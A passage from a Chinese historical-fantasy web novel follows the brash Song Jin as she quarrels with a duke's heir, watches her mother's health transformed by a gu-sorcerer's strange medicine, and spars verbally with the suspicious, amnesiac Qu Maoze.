实际上是,她每日懒懒散散,除了内力,其他的招式全都不练,不到一个月就给人气跑了 她要是说其他的,齐铮还能说一句,男女授受不亲,这说到比划,他完全没法拒绝 虽然在府里的时候,李青山这些侍卫们会和他比划,但差距在那里摆着,他根本就打不尽兴。 刚巧他也想探一探宋锦的底,沉吟片刻,道:“那便等中秋过了,我们挑个时间在宋四公子那边的演武厂比试?” 听到自己的名字,还在和宋清之斗嘴的宋安之看了过来:“王爷叫臣何事” 宋锦捏着手,蠢蠢欲动:“他说我俩过几日去你那儿打架” 宋安之:“啊?” 打架打什么架?这打的是架还是脑袋? 齐铮无奈:“是比试,兵部的演武场比较合适” 宋安之反应了过来,连忙点头:“没问题,到时候王爷说一声就好,兵部随时恭迎王爷” 宋安之就在兵部,去年才设计了一款新的弓弩,精简的材料,省了工时,又比之前的杀伤力更强,很有才能 只不过,宋家上面兄弟三人年纪轻轻官职不小,去年宋慎之又立了大功升职,他再升便有些过于锋芒毕露了,就只是简单奖励一番 总的来说,宋家五子各有各的厉害,他们本身自然是有天赋的,但是能把这些发掘出来的宋商,才是最厉害的那人 齐铮又看向宋锦,她长得极像宋商,这会儿坐在马背上有一下没一下的扔着花生米用嘴接,嘴角微黑,两只手也黑乎乎的,侧过脑袋,含糊:“咋啦?我脸上有花?” 哦,好像确实有 她伸出两只爪子擦了擦脸,瞬间,脸也黑了下来,她越擦越觉得不对,撇撇嘴,干脆伸手往马脑袋上面搓搓,再拍了拍手,晃着小腿,哼着歌儿 “我有一条小毛炉……” 齐铮挪回目光 果然,之前是他想多了,他们长得像就是巧合罢了 宋大人,这辈子应该都不会这个样 ** 从上杨村回来,一行人先是去了三清观和其他的侍卫汇合,这才朝着都城前行 等到的时候,正好是中午时候 都城城门打开,来往的行人马车不断,基本上都会做一些简单检查。不过这是针对外来商人的,像都城内的一些皇宫贵族,意思意思地看一下就放行了 宋青之他们自然也不例外 虽说宋商出事了,宋家不比从前,但也只是和从前相比,依旧远胜,都城绝大部分人 一群人顺顺利利的进了城 不过宋锦骑了一路的马,回来的时候就懒得骑了,一点也不客气地钻进了齐铮的马车里,但是孤男寡女的不太好,宋安之这‘娇弱’的哥哥也只能跟着进去,留下宋清之骑着马,跟着随行侍卫走在前方 宋锦蹲在小塌上,伸着懒腰,打趣齐铮:“岐王殿下和我们一同进来,你就不怕那什么苍蝇的找你麻烦?” 齐铮瞥她,纠正:“是英国公” 宋锦不太在意:“都差不多,哎,那是你嫂子家?就是那个话最多的” 齐铮提醒:“我二哥晋王” 宋锦搓搓脸蛋:“他们会怎么找我麻烦啊” 齐铮:“现在说这个,会不会晚了点?” 宋锦耸了耸肩:“那有什么办法,那个东西给脸不要脸,长得跟癞蛤蟆似的装青蛙。那死老太婆就更别说了,还叫人打我,我没踹死她,都是看她活不了两年的份。怎么的,你们都城还有老头老太太打人合法的道理?” 上辈子的末世前很长一段时间好像也有这种传统,但是末日 ,不拿他们当菜就是尊老爱幼了,谁给的脸? 齐铮摇头:“若是普通老人家,自然不行,但是老太君是诰命夫人,又是皇室宗亲,就是打错了,也就打了,没人会说什么,顶多让家里小辈出门赔礼道歉” 宋锦恍然:“感情还是看权利嘛,这要是宋首辅在的时候” 齐铮叹息:“她必笑脸相迎” 宋商还在的时候,整个都城,背地里不说,明面上又有谁会给宋家人脸色呢 宋锦感慨:“这些人还挺会看脸色的嘛,不比村里的看门狗差嘛。不过管他的,只要皇上不开口,其他人打不过我就怂着吧。哦对了,你那几个兄弟应该不会也不要脸的喊人打我吧?我要还手会怎么样?” 齐铮:“……因为宋二公子的事,我二哥禁足一个月,还要抄佛经,其他人应该不会重蹈覆辙” 宋锦还真不知道这个,现在知道了,她挑起眉头,凤眸明亮,冲他比了个大拇指:“你爹是这个” 齐铮无言,摇了摇头,闭眸休憩 这人确实无需他担心,该担心的是都城的其他人 毕竟,她一身武艺在那,又天不怕地不怕,一个救城之功落下,她又无官职,只要不违背律法准则,其他人难以再拿捏于她 就是这都过了几日了,他爹说好的赏赐竟然还没落下 齐铮微微蹙眉,思索着什么时候再进去催一催 “吁……” 思索间,马车骤然停下,外面传来宋清之不悦的声音 宋锦歪了歪脑袋,迅速拉开车帘探出脑袋,眉头一挑,直接窜了出去,动作十分顺滑,她吹了个口哨:“哟嚯,让我看看这是谁啊,这不是那日的倒挂蒜头葱吗?” 对面的鲁经义黑了脸,恶狠狠:“你竟还敢回来?” 宋锦眉眼飞扬,嚣张道:“哟哟哟,个头不大,口气不小啊,我怎么不敢回来了?我现在还敢说,赶紧带着你那猪脑子给老娘让路,不然小心你的狗腿” 这截路不算宽,他们两边挤一挤也能勉强错身,就是不太体面,一般不会这么干,都是有人让一让 正常来说,这不是什么大事 谁家势强谁家先走,关系好的互相让让 不过像他们这种仇结得结结实实的 鲁经义的注意力全落在了宋清之和宋锦身上,也就没仔细打量这普通的车马,他冷笑:“我鲁家是国公府,又是皇亲国戚,你们宋家有什么,给我乖乖让路,不然回头局参你们一折” 宋锦双手叉腰,继续嚣张:“老子还是你祖宗呢,赶紧让开,不然后果自负” 鲁经义阴沉着脸,冷笑一声,直接挥手让其他人闯过去:“我倒是要看看有什么后果,给我走” 说完,英国公府的车马加快速度冲了过来,还特意仗着车身大,撞着那看似普通的车马过去,惊了车架,一阵剧烈晃动之后,也惊动了那低调得看起来和普通仆从没区别的亲卫 李青山稳住车马,冷脸下去:“英国公府好大的架子” “就是就是,英国公世子连岐王也不放在眼里,真是让我大开眼界。”宋锦站在一边大声起哄,然后侧头看向也出了马车的齐铮,问 “是吧,岐王殿下。唉,臣女也没料到英国公府这般嚣张,竟然在城区策马,没惊到您吧?” 齐铮他瞥瞥得意的宋锦,再看了一眼傻眼的鲁经义和被惊动的亲卫,深深叹气,又回了马车内 “算了,继续走吧” 侍卫们这才收起武器,重新归队,不过这一次,他们不似之前那般低调,而是排成队列,拿出了气势,让人一眼便知训练有素的士兵 车马缓缓启动 鲁经义一行人僵在原地,久久未动 第52章 别是搞邪教了吧? “阿娘,又吃药呢?” “哎呀,这日头好晒,我给你扇风” “娘你看这鱼,圆滚滚的像不像没毛的黄黄?” …… 小院的竹林下,牛铁兰坐在轻摇的竹椅上,她一袭湖蓝绣鱼薄裙,手间一杯青梅蜜茶,随着竹轮轻晃,悠悠闲闲,好一副美人休憩图 她轻轻抿了一口茶水,压下嘴里苦涩的药味,斜眸看向前方 那里,她那一贯不靠谱的闺女坐在桌前,手上拿着毛笔按着纸,听着似乎是不错的画面,如果她没有摇头晃脑,也没有翘着个二郎腿,更没有一脸墨水印的话,确实值得欣慰 牛铁兰没有半分期待,她坐在这儿就是为了躲凉的,小院微风徐徐,各色的花团锦簇,飘出浓烈又复杂的花香,因为过于浓厚有些古怪,却又被一股清淡的香薰中和,形成了奇妙的香气,煞是好闻 旁边假山流水潺潺,飞鸟停在上面不时梳理着羽毛,顺嘴就叼走遍地的蚊虫 牛铁兰喝完蜜茶,垂眸瞥向自己手腕带位置,上面一只蚊子躲过众多的熏虫香,顽强地进食,她啪一下拍死蚊子,放下杯子,缓缓起身 “哎哎哎,娘,快别动,我就差最后一点了,就差头发了,你别急……” 宋锦坐在对面的小亭子上,她一只脚踩着石凳,一手按在膝盖上,另一只手拿着毛笔,睁着一只眼对着她娘比划,看起来还有模有样的 牛铁兰停顿片刻,到底心软,又回到那竹椅上坐着 半刻钟后 宋锦放下笔叼在嘴上,得意洋洋地拍拍桌子,朝着她娘挥手:“阿娘快过来,看看我画得如何” 牛铁兰这才再次起身,缓缓朝着这边走来 这是宋府的花园,亭台楼阁,假山溪水,四周密密麻麻种满了各种名贵花种,在这盛夏开得格外灿烂。她慢条斯理的走在卵石路上,轻薄的裙摆摇曳,微风吹动着她的青丝,便是那锦绣的花朵也成了陪衬 宋锦恨不得拿个相机将这场面拍下,不过条件有限,她立马重新抽出一张画纸,拿着毛笔简单描画,先是简单的人物轮廓,再画周边陪衬的景色…… 等到人到面前的时候,她一副水墨速描图已经画好,她咧着牙递给她娘,神气十足:“看,是不是很好看?” 牛铁兰看着面前寥寥几笔,除了墨水还是墨水的画,伸手敲在宋锦的脑袋上,嫌弃:“你还是画你的鱼去吧” 宋锦吃痛,转过画一看,行吧,刚才没注意,墨水染了一团上去,确实没法看。但是,她赶紧把自己花了近两刻钟的画拿出来,凤眸明亮,牙齿白白,一副讨夸的模样 牛铁兰这才勉勉强强给了她一个眼神 这画,线条粗细不一,深浅也不同,一会儿轻一会儿重,那竹竿子都成松树了不说,人的胳膊也是弯的,本来轻盈柔弱的牛铁兰被画成了五短身材大脸盘子…… 牛铁兰一言难尽:“乖,下次画你的猫狗去,放过你娘我吧” 宋锦盯着自己的画,怎么看怎么都还挺好的呀,这人是人书是树的,她撇了撇嘴:“娘你不懂欣赏” 牛铁兰才不管欣赏不欣赏呢,勉强给她个眼神,都是看在是自己生的份上,看完了,她转头到那边假山池里看里面的红鱼 一条条纤细矫捷——在她们来的第一天是这样的 不过半旬,几条鱼就跟被偷换了一般,一个个圆滚滚的,再无半点风雅之趣,只剩下好笑了 牛铁兰看着心烦,回首用眼神剜着罪魁祸首,冷声:“你没事别过来这边,好好的鱼给你喂成猪了” 宋锦小心翼翼地收着自己的画作,听到这话又跑了过来,看着一个个圆滚滚的鱼,伸手进去戳了戳,一脸不解:“多可爱啊,之前瘦成那样,不知道的还以为堂堂宋府养不起鱼呢” 牛铁兰凉凉:“不知道的还以为宋府是什么草莽财主之家,没半点风雅,你糟蹋自己家就算了,别在这糟蹋别人家,这鱼一条上千两,撑死了你赔得起?” “哈”宋锦震惊地瞪大眼睛,捏着一条鱼尾巴将其拎了起来,弹了弹鱼脑袋,“就这玩意儿上千两?金子都没它值钱,凭什么啊” 一两黄金值百两银子,千两银子换成金子都要一斤了,这玩意儿有一两? 牛铁兰见她这莽撞模样,倒吸一口凉气,骂:“败家子你干什么” 她们母女两个乡下小地主,虽然说确实不缺钱,但是差距也宛如天堑,所有财产赔完了赔不了这一池子鱼 宋锦讪讪放下小胖红鱼,就着流水洗了洗手,才远离水 边。她站得直直的,两只手合在一起垂在大腿前,睁着一双亮晶晶的眼睛盯着牛铁兰,看起来还有些乖巧 牛铁兰气不起来,她叹了口气:“你到底干嘛呢?一会儿这一会儿那” 她这坐在这里躲清静呢,这破闺女一会儿转一圈,一会儿转两圈,问问这说说那,和三岁小孩一个样,听得她脑袋都大了 宋锦还是不说话,只是睁着大眼睛,就这样乖乖巧巧地站在那儿,就跟小时候犯错被罚之后一般 牛铁兰顿了一下:“想出去?” 宋锦连忙小鸡啄米一般点着脑袋 前日她从三清观回来,英国公府的人已经过来讨公道一次了。不过是宋顺之出面解决——小妹想下来的不知事,你们一个大男人一个老人家,就让让她 最后什么也没赔,就打着哈哈 牛铁兰全程都在屋子里没出去,听着宋顺之转告了前因后果,也并不觉得自家闺女做错了,相比让她挨打,那还是打别人吧,但这样也不能掩盖宋锦一出门就惹事的体质 一个国公府都是牛铁兰以前想都不敢想的人家,现在宋锦给人挂树上了,也是中间还有个齐铮一起,给了她点底气,不然她这两日都要焦虑得睡不着觉了 而这一次是国公府,谁知道下一次能惹到谁?牛铁兰惹不起,只能躲起来,免得再碰上麻烦 她也知道自家闺女不是一个关得住的人,但从她回来的下午到现在上午,满打满算,加起来也才两天 牛铁兰一言难尽:“你是属猴子的吗?一日不爬树痒就得慌是吧” 宋锦双手撑着下巴,眨巴眼睛:“我属什么妈你还不知道吗?我是小老虎呀” “恶心死了” 牛铁兰露出一个嫌弃的表情,转身就走 宋锦哦了一声,蔫下了脑袋,在心里把鲁经义等人往死里骂了一顿,甚至都已经计划好哪天去套麻袋了 牛铁兰淡淡的声音传来:“不是要出去吗?还不跟上?” 宋锦眼眸立马亮了起来,像是那灰扑扑的石头瞬间变成琉璃,瞬间有神了起来,她迅速迈开腿蹦跳着追了上去,挽着人的胳膊,喜滋滋的 “娘你最好啦……” ** 永安城面积很大,整个都城的范围超过了三百平方公里,便是常住人口也在百万之上。 人口一多便带动各种商业发展 城内瓦房市场不断,各种商铺酒楼林立,路上从早到晚都有各种小贩吆喝,热闹得不得了。不过要说最为惹眼的,还是牛马生意 永安城面积过大,光是靠腿走的话太累人了,但是自家养牲畜成本又过高,大部分人还是乐意乘坐牛车马车 去得远,三文五文 走得近,一文两文 宋锦觉得可有意思了,出门还没多久就透过车帘看到外面拉客的牛车,干脆抛弃马车,拉着牛铁兰坐上了慢悠悠的牛车。 “坐牛车咧,各位姑娘小姐走累了歇一歇,牛车平稳方便还便宜……” 宋锦坐在牛车最外边的边缘,双脚悬空放在外面,手往后撑着身体,听着拉车师傅吆喝声,呲着大牙笑得很是开心,侧头对着牛铁兰悄悄的 “娘,等下次我也弄个牛车出行,不拉别人就拉你” 牛铁兰在帷帽狠狠翻了个白眼,嫌弃:“我看你是闲的,好好的马车不坐,非要来这晒这个太阳,本来就不白,仔细晒成煤球” 宋锦弯着眼睛:“哪能啊,只要不跟娘你比,我到哪都不显黑” 说着,她伸出自己的手腕,白皙均匀,怎么看也和黑说不到一起,不过当她的手和牛铁兰如雪般无瑕的手放一起,瞬间就黑了两个度 宋锦嘿嘿一笑,比起肤色,她更关心的是牛铁兰比她小了大半圈的手腕,她用手圈了再圈,眼底都是心疼,但是骨架子定了没法变 她只得道:“娘你才是太白了,得多晒晒太阳,多吃肉” 牛铁兰懒得说话,伸手指了指的脑袋上那大太阳,证明她这晒着呢。她又不是那太阳花,越晒越精神,真要把帷帽取下来,不到半个时辰就得回去请大夫 宋锦自然也知道这点,她就是说到哪儿算哪儿,一会儿弄个溜车摊子拉客玩,一会儿去养马,一会儿还是当猎户,一会儿赤脚大夫…… 半刻钟性子,不能再多了 牛铁兰大部分时间都静静地听着,偶尔应一声,或者给她个白眼 母女俩就这样坐着牛车穿过大街小巷,最终来到了这边午马街 在牛铁兰死亡目光下,宋锦伸出手一本正经地发誓:“真不是我提前安排的,只是凑巧啊,不过这边也热闹咧,上次去的西区虽然繁华,但可没有这边接地气,娘你看” 牛铁兰顺着看过去 几个光着膀子的壮汉站在一边,他们手持火把,嘴里含酒轻轻一喷,便喷出一道道火焰 他们一个个身形高大,壮硕的肌肉随着他们的动作而滚动,一颗颗豆大的汗水从额头一路淌到赤裸的半身,最后隐入腰带中 街道上的小姑娘们遮着眼睛羞羞答答离开,成了婚的中年女人跟着喝彩,眼神嘛,那少有落在火上头的,因着这也有不少夫妻当街吵了起来 “别嚷嚷,我们就要看,怎么不能看了,你过翠红楼的时候眼睛都快掉出来了,我说什么了?” “听娘的,男人还是得找这种结实的,能干活,那些小白脸能顶个什么事?” …… 牛铁兰有些走神,倒不是看着这些个男的走神,这一个个块头大是大,但有些太结实了,不太合她的审美,不似那人,看似平平常常,实则衣服一脱,结实得跟石头似的…… 她抿了抿嘴 说起来,他们在一起的时间并不长,从认识到那人去世也就三个月的时间,却又是她人生中最与众不同的三个月 短短三个月里,她从那个地方跑开,迎接了新的自由,碰上了心爱的人,两个人在一起了,那人死了,她怀孕了,她再次逃亡 现在回想起来,就像是做了一场梦,梦醒了,什么都没有留下 除了旁边这跟猴子一样,嘿嘿笑的破孩子 宋锦看着那边赤身的男人们,就差吹个口哨了,她脸上带着怪笑,用手肘碰了碰她娘,揶揄:“娘,你看是不是很不错?” 牛铁兰回首,静静看着她,轻飘飘道:“确实很不错,这都城的男人就是比咱们乡下的要好一些,金金啊,你明年就及笄了” 宋锦立马变了脸,凤眸微睁:“及笄了也还小呢,娘,你忘了我们还要一起去游遍天下” 牛铁兰继续看着那些人喷火,悠悠:“我可没应,这么多年来我一直一个人带着你守寡,你现在也大了,等你成婚了,我也” “您也跟着我一起,我们母女俩啊,娘到女随,相依为命”不等她说完,宋锦就挽着她娘的胳膊,非常刻意地拉着她娘远离这群伤风败俗、不守夫道的男人,她痛心疾首 “世风日下,现在的男人啊,一个比一个靠不住,饭不会煮,衣不会洗,好听话也说不了,还没两个钱,靠不住啊,靠不住” 宋锦一边说着一边摇着脑袋,用小眼神偷偷瞄着牛铁兰,观察她的反应,但看了半天啥也没看出来 牛铁兰全程表情淡淡,看不出是认真的还是说着玩 宋锦咳嗽几声,再次强调:“你说是吧,娘?男人又脏又臭又讨嫌” 牛铁兰不咸不淡:“是吗?” 宋锦:“那肯定是啊,娘亲你想想镇长那死老 头,再想想……” 听她在那里绞尽脑汁的说着男人的缺点,牛铁兰心里乐开了花,面上却没表现出来,反而特意打断了她,淡淡:“除了老头就是老头,听你这意思,你娘是老太婆吗?” 宋锦卡壳 那必须不能,她娘貌美如花,跟个小姑娘似的 牛铁兰又道:“算了,没意思,外面热死了,不是要去看诊吗?去里面歇歇吧” 说到看病,宋锦就没那么在乎其她的了,她一脸无辜强调:“这可是娘你自己说的,跟我没关系哈” 牛铁兰瞥了瞥前方不到五百米的养兽馆,对这个话不知可否,她道:“是我说的,我觉得你以前说的也有道理,这人嘛,把身体养好了,才能做其它的,你说是吧?” 宋锦表情僵住:“是,是哈” 牛铁兰端着一副风轻云淡的模样,脚上加快步子:“走吧,早点看了也放心” 宋锦自觉搬起石头砸了自己的脚,她咬着牙,磨磨蹭蹭跟了上去 应该是她想错了? 她娘亲这么多年都没给男人一个眼神的,不至于吧 想着,她忍不住又回头瞥了瞥那边光膀子男人们,目光落在他们结实的□□上,依旧还是不太确定 应该,不至于吧? 她老娘不能这么肤浅,吧? ** “蛊虫想要进化成母蛊,也要加紧时间蓄力,你把身体养好,你好虫好,后面虫好你也好……” 还是小阁楼上,虫老依旧在那里嘀嘀咕咕着蛊虫的信息 宋锦努力听了半天,全是些不要紧的东西,至于怎么治疗,到时候怎么弄要准备什么,他全都不说,就是一句养好身体 若不是他之前确实帮她娘情况稳定了下来,这人看着就是个神棍样 多想无益,宋锦听了一会儿,开始打量起了阁楼 之前的阁楼角落上多有灰尘和蛛网,灰扑扑的,左右窗户更是全部紧闭,就像是外面空气有毒一般,恨不得所有都封死。各种网笼布笼箱子虫子乱七八糟地放在一起,走到里面就像是走进了新型鬼屋 而现在,阁楼明显打扫过了,往日的灰尘虫网消失不见,那些关着虫子的布网木箱也都换了新的,整整齐齐的挂成一排,放在一边 窗户打开,透风又透光,比起之前清爽许多 宋锦惊奇:“虫老头,你什么时候把你家盘丝洞换了?你一个人弄的,这工程量不小啊” 听到这个,虫老脸色黑了又绿,绿了又黑,最后恼羞:“怎么不行吗?老头我就不能有个新环境?” 宋锦挑眉:“那肯定不能啊,就是有点受宠若惊” 之前一直都那么脏兮兮灰扑扑的,现在突然干净了用脚想也知道是因为谁 虫老抬头过来,对着宋锦的那张脸,嘴唇动了动,明显想骂什么,还是把话给憋了下去 都怪那讨债的,他一个好好的虫屋,看看现在都成什么样了 烦死了 他骂骂咧咧地转身,从屋子里端了个碗出来,给牛铁兰,没好气道:“行了,把东西喝了就走,后面隔三日过来一次,坚持十日便可以开始注蛊” 牛铁兰接过药放到鼻间嗅了嗅,又苦又涩,还有莫名的腥味,光是问一问,她心里都闷了起来,脑袋有几分眩晕 她迟疑:“这” 虫老抓了抓头发,表情相当复杂:“好东西,快吃吧,别嫌弃这味道,这天下也就你还有这运气了。吃了这药,最后成功可能性也大些” 说着,宋锦也从另一边走过来,想看一看这药 本来还有些迟疑的牛铁兰咬了咬牙,捏着鼻子直接一口下去,味道比她之前吃过的任何药都古怪,说不出个什么味 见此,宋锦嘀咕:“你慢点吃了,我又不会抢你的药” 说着,她伸手轻轻沾了一点残渣,往舌尖一放,瞬间就分辨出几种药材 “呕,什么鬼” “怎么还有人血?” “老头,你别是去搞什么邪教了吧?” …… 虫老气急败坏:“你才邪教,老子是虫教,既然吃完了就赶紧走,一家子讨债的,真以为我没事干啊,我一天天忙得要死。你以为你娘需要的那万虫就是随手一抓的虫吗?子时诞生的苍溧,一体双头的呦佳,最后一胎的鮟蜢……” 这一刻,宋锦深觉自己就是文盲 这些东西没一个听说的 还有这乱七八糟的条件,也不怪乎岭南蛊虫就剩下这老头了 正常人谁学啊 宋锦听得一言难尽,冲着人摆了摆手,赶紧拉着牛铁兰离开阁楼,到了楼下,牛铁兰还是没有忍住,松开她的手,跑到院子里扶着那边的树蹲着干呕 宋锦连忙跟上去,顺着她的后背,担忧:“没事吧娘?要不再去找那老头看看” 牛铁兰摇着头,捂着烧得火辣辣的胸口,蹲在地上有一刻钟的样子,那种难受的感觉一点点褪去,气力也一点点恢复 她就像一棵干枯的树木,突然被撒下了甘霖,一点点褪去干枯的外皮,长出了新绿的枝叶,感受到了前所未有的好 她用手绢擦了擦嘴,回过头 宋锦震惊:“娘你这……” 不过及时那么短短一刻钟的功夫,牛铁兰就像换了个人一般,脸色红润起来,就连肉也多了一些,如果说之前她看着嗯就是一副柔弱病美人的模样,现在的她柔弱归柔弱,却已经看不出病态了 她收回之前的话,这岭南蛊术士 值得传承 真的 牛铁兰不明白她的震惊,只是蹙着眉,疑惑:“怎么这个表情?” 宋锦深吸一口气,压下惊意,拉住她娘:“走走走,我带你去看看就知道了” 她记得养兽堂前面是有铜镜的 牛铁兰虽然能感受到自己的身体前所未有的好,到底还不确定,惴惴不安地跟着,一路绕过后院大批牲畜,来到了前面堂子,那最边上就有一个铜镜 她站了过去,怔怔地看着镜子里的自己 人影虽然模糊,但是气色骗不了人 她这是,真的能好好的,能陪着孩子一起长大变老? 牛铁兰心中思绪万千,想说什么,到最后却只是抚着脸,展露出浅浅的笑颜 她道:“真好啊” 宋锦也跟着傻笑:“就是啊,真好” 她娘能好起来可真是太好了 母女俩你看我我看你,笑得像是春日花圃中明媚的群花,格外惹人眼 而惹眼的花朵总会招来蜜蜂—— “又见面了,夫人,小姐,两位今日看上去容光焕发,这些日子定然顺遂安康” 熟悉的轻笑声传来 宋锦眉头下意识跳了跳,她转身,对上那张含笑的俊脸,当即就翻了个大大的白眼:“怎么哪哪都有你啊” 曲茂泽轻笑:“或许是,缘分?” 母女俩:…… 第53章 装都不装了 “两位忘了,在下租的小院就在这边过去两条街,两刻钟就到了。我平日在岐王名下的店铺算账,空余时间抄写话本字画,下工了便会过来这边帮忙,每月也多赚些银两……” 曲茂泽声音清缓,说话的时候不急不慢,像是春日流动的溪水,缓缓的,配上和悦的眼神和嘴角的笑,又有股莫名的暧昧缱绻 宋锦眯起眼睛:“是吗?你这失忆失的,又会写诗算账,还会看病,就是不记得身世,挺会挑的” 曲茂泽面不改色:“是啊,就这么巧了。我这些天借岐王的面也看了各地的方志,在外面听各地方言,还是什么都没想起。看着四周,也不觉熟悉感,什么也想不起” 宋锦嘲讽:“你一天干的事还真多啊,算账书画看病看书,除了这些还有别的什么” 曲茂泽笑了笑:“宋小姐聪颖,在下发现周围很多孩童没事,便在院子里开了个小学堂,每日上半个时辰,按旬收些束脩,也多些事干。我想着,多做些活,可能会多想起些什么。除了这个,还找了两个靠谱邻居,我出钱他们出力……” 好家伙,按照这人干的事情来看,这是一天十二个时辰有十个时辰都在干活啊 宋锦都忍不住想给他竖个大拇指,但是不可能,这人干的事情越多越可疑 她呵呵一笑,还想继续挖苦人 牛铁兰淡淡地瞥了过来:“你一天到晚除了喂鱼碎花,就是抓鸟抓老鼠,还好意思笑?羞不羞愧?” 宋锦:“……” 这人就是克她,每次一碰上这人,她就得挨骂 “都说 一日不见,如隔三秋,这话我原以为只是说说,今日一见夫人还真是如此”曲茂泽轻轻笑了笑,再次迎来宋锦的怒瞪,他慢条斯理继续 “和那日上杨村相比,夫人如今神采奕奕,想来这段时间没被外界的流言蜚语影响,这样在下便放心了” 宋锦还是没忍住:“放心不放心关你什么事?” 曲茂泽又笑:“宋小姐的性子真是一如既往的洒脱,在下也放心了” 这绝对是在讽刺她吧? 宋锦气得干瞪眼,又无力反驳,在她娘警告的目光下,她动动嘴皮,憋屈:“我去那边看狗,娘你们聊” 她跺着脚跑去对面的狗笼子旁 这不知道又是谁家的狗,体型堪比猎豹,白毛浓密蓬松,蓝色眼睛,圆脑袋圆身子,正好又长在宋锦的审美点上 她蹲在笼子旁边,从兜里掏出肉干喂狗,看似喂狗,眼神偷偷地瞄向那边说话的两人,为了听的更清楚还不着痕迹地掀了掀耳边的头发,可惜,她的小动作无人注意 牛铁兰的注意力根本不在闺女身上 按照宋锦活泼乱跳的精神劲,她需要担心的永远都是别人会不会有事 她的视线落在面前这个和旧人一般的年轻人,下意识想到了外面街道上那些表演的壮汉,又想起一些躁人的往事。她不禁微微垂眸,后退一步 “曲公子重伤才愈,平日多注意休息,银钱是小事,身体才是最重要的” 她猜测,这人每日做那么多事,也是为了尽快还她们这一份钱 五十两对她们来说不算什么,但是在这年头,普通人家一个月能有二两银钱便可以过不错的日子了。她知道曲茂泽有岐王安排的工作,一月必不会太差,但想攒钱做其他的总需要时日 笔墨纸砚,样样都要钱 而有了五十两,不论是桌椅板凳还是笔墨纸砚,不说多好,总能买些基础的 曲茂泽低头,看着她比起之前盈润的脸颊,声音低了几分:“多谢夫人关心,在下无事。我一个人左右无亲无故,闲着不如多找点事做。倒是夫人和宋小姐,没遇到什么难题吧?我这两日,也听到了些风声,心中隐有忧虑,又不好上门拜访” 牛铁兰愣了一下,柳眉微蹙:“什么风声?” 曲茂泽闷声笑笑,随口说了几句最近茶楼说书先生最火的故事:“宋小姐女承父业,大闹三清观,勇战国公府,代表宋家向皇室宣战……” 牛铁兰:“……都传到外面了?” 都城这么小吗?这传播速度一点都不比他们乡下慢啊 牛铁兰一双杏眸睁大,脸上表情有些震惊,又有些一言难尽,看起来莫名还有些呆 曲茂泽低低笑了出声:“都城还是寻常百姓为多,大家最喜欢听达官贵人和世家大族的热闹。英国公府在都城赫赫有名的,三清观更是相当于国师府的存在,再加上当时宋小姐英姿飒爽,以一当十,无所不惧” 牛铁兰脑袋突然疼了起来,她伸手按着脑袋,沉痛:“好了好了,别说了,再说我脑袋就要炸了,这都是什么事啊……” 宋锦在那边狗笼一边玩着狗一边偷听,听到这儿,她表情一僵,默默收回玩狗的手,就着蹲地的姿势挪动小步子 一步,两步 没到三步,牛铁兰大吼的声音从身后传来:“宋、金、金” 宋锦顾不得偷偷摸摸的了,她立马站起身往后院跑,而牛铁兰紧跟其后,不知道是那药物的作用还是过于愤怒,她进日格外有力,绕着院子跑了两圈,就靠着实力抓住了宋锦 她手里攥着一边掰下的枝条,直接往宋锦身上抽 “你看看,你看看,你是戏班子转世吗?哪儿都是你?” “因为你,老娘的脸在镇子里就没捡起来过,现在丢脸丢到都城了,不对,是丢到宫里了,你可真厉害” “下次能不能跑?你不是会飞吗?你不能飞早点?” …… “疼疼疼疼” 一番教训下来,宋锦呲牙咧嘴地叫疼,这次真不是她装模作样,而是真的疼 她呲着牙,撩起自己的衣袖,白皙的手腕上几条红痕格外明显 因为练武的原因,宋锦比起一般人皮糙肉厚,皮肤上一般不会留痕,往日牛铁兰拍两下,宋锦都是装模作样地给点情绪价值 今日这痕迹,她震惊:“娘啊,你是吃了大力菠菜吗?” 那什么岭南蛊术不得了啊 牛铁兰也有些意外,看着宋锦带着红红的手腕,她又是一枝条打了上去,片刻功夫,上面又是一条红痕,可见她力气着实大了不少 她喃喃:“我中邪了?” 宋锦揉着手郁闷:“……中虫子了” 母女俩都觉得不可思议,于是暂时和解,挽着手又去楼上找虫老去了,没想到刚到阁楼,就看到紧锁的房门上面挂着个牌子 ‘三日内,虫和狗请进’ “……” 宋锦翻了个大大的白眼,拿过那牌子一掀,没想到牌子的背后还有字 ‘人活着就死不了’ 好家伙,这是一点售后都不包啊 宋锦又一把扯下木板掰成两半 牛铁兰拉住她,扯着人往外走:“算了,都说了三天后,那就三天后再来吧” 宋锦不情不愿地跟上 走到后院,曲茂泽垂手站在走廊处,抬头看着万里垂下的柳条,他身姿挺拔,颀长而立,剑眉星眸,君子端庄,是那种让人一眼看去便满是正气的长相 如果说这人和她那亲爹长得确实相似,宋锦也能理解她娘之前说的,她爹一看就是个好人的话 她俩的凤眸都是如同一辙的偏圆润,仔细看是凤眸,又有些像桃花眼,黑白分明,熠熠明亮 不过 宋锦的脸偏窄一些,显得眼睛狭长,更多攻击性 曲茂泽脸宽一些,更显端庄和君子气概,让人一眼看去就会觉得这人靠谱 若不是他有着和她亲爹一样的名字,又巧合的长得相似,并且失忆,宋锦也不会这般警惕怀疑这人 长相确实很重要,但直觉更重要 宋锦非常笃定这人有问题,就看他何时露出马脚了 曲茂泽看着走过来的母女俩,对着宋锦的瞪眼,他笑道:“宋小姐真有活力,我以后若是有女儿,也要像宋小姐这般无拘无束自由欢乐” 绝对是在骂她 宋锦恶狠狠地看了过来,刚要张嘴骂人 牛铁兰精准地捂住了她的嘴,再看向曲茂泽的目光淡了淡,她到底还是想起了,这人并不是故人,反而疑似故人之子,日后也会有妻有儿女 她淡淡道:“愿曲公子日后也能这般想,我和金金还有事,就先行一步,曲公子保重身体” 曲茂泽轻笑:“夫人和宋小姐慢走” 母女俩就这样离开 曲茂泽站在原地,看着母女俩截然相反的背影 一个背影窈窕,不徐不疾,一个靠着人拖着脚,歪七竖八没个正经模样 “喂” 宋锦大半个身子靠在牛铁兰的身上,看似不情不愿,实则眉眼都张扬了起来,看得出来心情很好。她懒懒散散地抬起手,手间是绿色纸 包,她隔着好几米扔了过来 那轻飘飘的纸包像是飞刀一般直冲曲茂泽面门 曲茂泽轻轻抬手,稳稳抓住纸包,无需宋锦嘲讽,他笑:“看样子,我失忆前还会些武艺” 真是装都不装了 宋锦嗤笑:“看在我心情好的份上,送你了,给伤口上点药,一股子血味” 曲茂泽轻笑:“家里来了只野猫,没注意被抓了” 宋锦给了他个白眼,拉着牛铁兰直接离开,等到快要走出廊道了,那人的声音再次传来 “每年中秋前后,金陵山上金铃花开甚是漂亮,夫人和宋小姐若是闲暇,可以去看看。我听他们说,金玲花恰好又叫锦色花,恰如宋小姐的名字” 